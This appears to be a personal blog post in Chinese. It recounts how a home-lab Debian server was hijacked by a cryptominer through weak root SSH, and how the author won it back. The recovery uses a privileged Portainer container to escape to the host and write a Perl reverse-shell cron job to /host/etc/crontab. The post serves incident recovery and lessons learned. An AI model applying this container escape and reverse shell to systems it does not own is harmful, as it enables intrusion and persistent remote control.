前言
大家好,好久沒發文了,想不到標題只好交給 ChatGPT 跟 Claude 來幫忙 XD
前幾天因為 regreSSHion (CVE-2024-6387) 的關係,想把家中的 Home lab 工控機給更新一下,畢竟他已經快兩年沒關機了,而且還有把 22 Port 對外。
駭客從 Shodan 看到一定很想打我
結果從 Debian 11 升級到 12 的過程有點不太順利,搞的主機有點亂,於是決定重新規劃並重灌。
因為懶得把工控機從櫃子上取下重灌,就偷懶用了 reinstall 來重灌機器,重灌的過程異常順利,沒想到這只是痛苦的開始。
重灌完,首先當然是先用 ssh-copy-id
來把公鑰寫進機器裡,畢竟透過金鑰登入比較安全嘛!
裝上 Portainer,然後再把平常會用到的服務一併搭好 e.g. AdGuard Home、Valutwarden…。這次還嘗試了前幾天看到的酷東西 CasaOS,用這個來修改一些檔案蠻方便的~
被入侵了嗎?!
伺服器就這樣運作了兩三天,在過去這幾天,我時不時就會連上去檢查跟修改設定,結果改著改著,從 CasaOS 看到機器居然 CPU 使用率有點高
心想可能是 AdGuard Home 正在更新 Rule,吃點 CPU 也合理,正當我想登進去看看的時候,居然跳出了要打密碼的畫面?
我這幾天都是用 ssh key 登入的,現在為什麼要輸入密碼?
CPU 使用率暴增 + 突然無法登入,我當下只想著應該被入侵了,所以馬上把網路線拔了,避免病毒橫向攻擊到區網的其他設備,並開始思考我的下一步。
梳理問題
先假設真的被入侵好了,就要想想到底駭客可能從何處進入,先想到的是有沒有可能 reinstall 的重灌腳本被投毒,腳本裡面有問題?
一邊檢查源碼一邊在想 reinstall 跟 CasaOS 被投毒的機率應該很低。這兩個都是開源專案,應該有很多像我一樣的人擔心自己被投毒而檢查源碼。
如果它們被投毒,應該早就會有更多人發現了。 BTW,永遠記住開源專案 != 100% 安全
與其猜測這些開源專案被投毒,我更相信是我自己操作不當產生漏洞 XD。
開始思考駭客還能怎麼進來到我的設備,想到了以前雖然開了 22 Port,但是有設限定金鑰登入
但這次重灌我是用 reinstall 的啊!!!它預設可是開放 root 登入 + 弱密碼,
我雖然記得在第一時間交換了金鑰,但完全忘記要關掉設定啊 XDDD
既然是透過弱密碼進入的應該是自動化的植入挖礦病毒,我只要先斷網就能防止駭客 ssh 或是透過病毒 reverse shell 進入。
思考奪回主控權的方法🤔
因為現在 SSH 已經連不上去了,CasaOS 看起來也沒辦法在網頁中開一個 Shell 讓我控制,我只好把希望寄託在 Portainer 上了。
Portainer 是現在唯一一個能在機器上開 Shell 的工具,雖然環境會在容器內,但我們有特權容器 (privileged container) 啊 XD
- 在 Portainer 建立一個特權容器
- 進行沙箱逃逸 (Sandbox escape)
- 開一個 Reverse shell 打回 mac 上
- 把 Root 密碼改回來
畫了個時序圖比較好理解
sequenceDiagram %%{ init: { 'theme': 'dark', 'themeVariables': { 'primaryColor': '#BB2528', 'primaryTextColor': '#fff', 'primaryBorderColor': '#7C0000', 'lineColor': '#F8B229', 'secondaryColor': '#006100', 'tertiaryColor': '#fff' } } }%% box macOS participant mac as 192.168.1.10 end mac->>Portainer: Create Privileged Container %% note over Portainer:Containernasd box HomeLab participant Portainer as Portainer
[Container] participant Crontab participant Shell end %% box blue:asd %% participant Portainer %% end Note over Portainer: [Privileged Container]
mount: /host:/ Portainer->>Crontab: Write reverse shell
to /host/etc/crontab note over Portainer,Crontab:*/1 * * * * bach -i /dev/tcp....
TLDR: Reverse shell :P Crontab->>Crontab: Wait for the next minute note over Crontab:Crontab trigger the job
connect mac by bash Crontab->>Shell:Trigger the job note over mac:nc -lv 5487 Shell->>+mac:Reverse shell connected note over mac: Get host shell mac->>+Shell:Change Root password
動手開始做
先登入僅存的 Portainer 服務QQ
建立容器
Command & logging
將 Interactive & TTY (-i -t)
打開
Volumes
將 Host 的根目錄掛載到容器中的 /host/
Runtime & resource
把最重要的 Privileged mode
勾起來,他是整個救援行動的重點
這些都完成後就可以把容器建立啦~
啟動 nc server
在 mac 上用 nc -lv <port>
來啟動伺服器,開好我們就可以回去準備建立我們的 reverse shell 囉!
建立 Reverse shell
回到 Portainer 我們先 Attach 到剛剛的容器
TL;DR 這是一個 perl 的 Rever shell
echo "*/1 * * * * root /usr/bin/perl -e 'use Socket;\$i=\"192.168.1.10\";\$p=5487;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" >> /host/etc/crontab
把我們的 Reverse Shell 寫到 Crontab 裡面,接下來就是等待 Reverse shell 接入了。
回到 nc 準備換密碼!
我們可以看到跟前幾張圖片長的有點不太一樣,Reverse shell 已經接上了,
現在已經成功拿到機器到 Shell 了,接下來就是 passwd
把密碼換回來~
後續檢查
看了一下 ~/.ssh/authorized_keys
,這就是無法登入的原因,它把 ssh key 換掉了 😠
本來想把病毒清除的過程也紀錄下來,但當下情況危急,沒能紀錄完整個過程。
可以直接參考前輩的做法 手工清理挖矿病毒案例
我也是參考他的文章來清除病毒的~
用了前輩提供的指令,可以看到有這麼多 IP 在嘗試登入
可以看到登入成功的是印度 IP,拿去 Virustotal 可以看到已經被一些防毒軟體標記是惡意 IP 了
之後就是裝上 ClamAV 掃掃毒,並且確實的把 22 Port 從 Router 上關閉,
如果有需要再透過 VPN 回到區網。
後記與反思
因為這次事件,也讓我好好整理跟實踐沙箱逃逸的流程,還有 Reverse shell 的實戰 XD
也因為想把這次的事情寫成一篇文章,結果把病毒都清掉了沒辦法截圖,
所以又開了一台 debian 的機器對外開 22 Port 等駭客進來亂搞就馬上關機,
這個無聊的小腳本是用 Claude 幫我寫的,內容是 CPU 使用率高於 70 就關機,
本來是想等到挖礦時才會關,結果才剛被替換 ssh key 就關機了 XD
#!/bin/bash
while true; do
cpu_usage=$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1}')
cpu_usage=${cpu_usage%.*} # 取整數部分
if [ "$cpu_usage" -ge 70 ]; then
echo "CPU usage is $cpu_usage%. Shutting down..."
sudo init 0
break
fi
sleep 5
done
以前本來很討厭所謂的 AI 寫 code,還好我已經撐過下面的階段
討厭 AI,理解 AI,成為擁抱 AI
現在已經這些工具已經融入我的開發流程,包括這篇文章的潤色都是由這些工具來幫我
扯遠了,回到正題 XD
這次會出現這個問題,就是因為在多個環節上出了小小的差錯。
- 如果我沒有懶惰用 reinstall 重灌,就不會預設開啟 root ssh 登入加上弱密碼。
- 如果我有記得在交換完 ssh key 後要去關掉密碼登入,就算弱密碼也打不進來
除了CVE-2024-6387。 - 如果沒有打開 22 Port,這些問題有可能都不會發生。
今天這些小小的差錯,就是起司理論的寫照
瑞士起司在製造與發酵過程當中,很自然的會產生小孔洞。如果把許多片起司重疊在一起,正常情況下,每片起司的空洞位置不同,光線透不過。只有在很極端的情況下,空洞剛好連成一直線,才會讓光線透過去。導致嚴重事故發生的從來都不是因為某個單獨的原因,而是多個問題同時出現。
不過不是下面這個起司就對了 XD Picture ref 辛普森迷因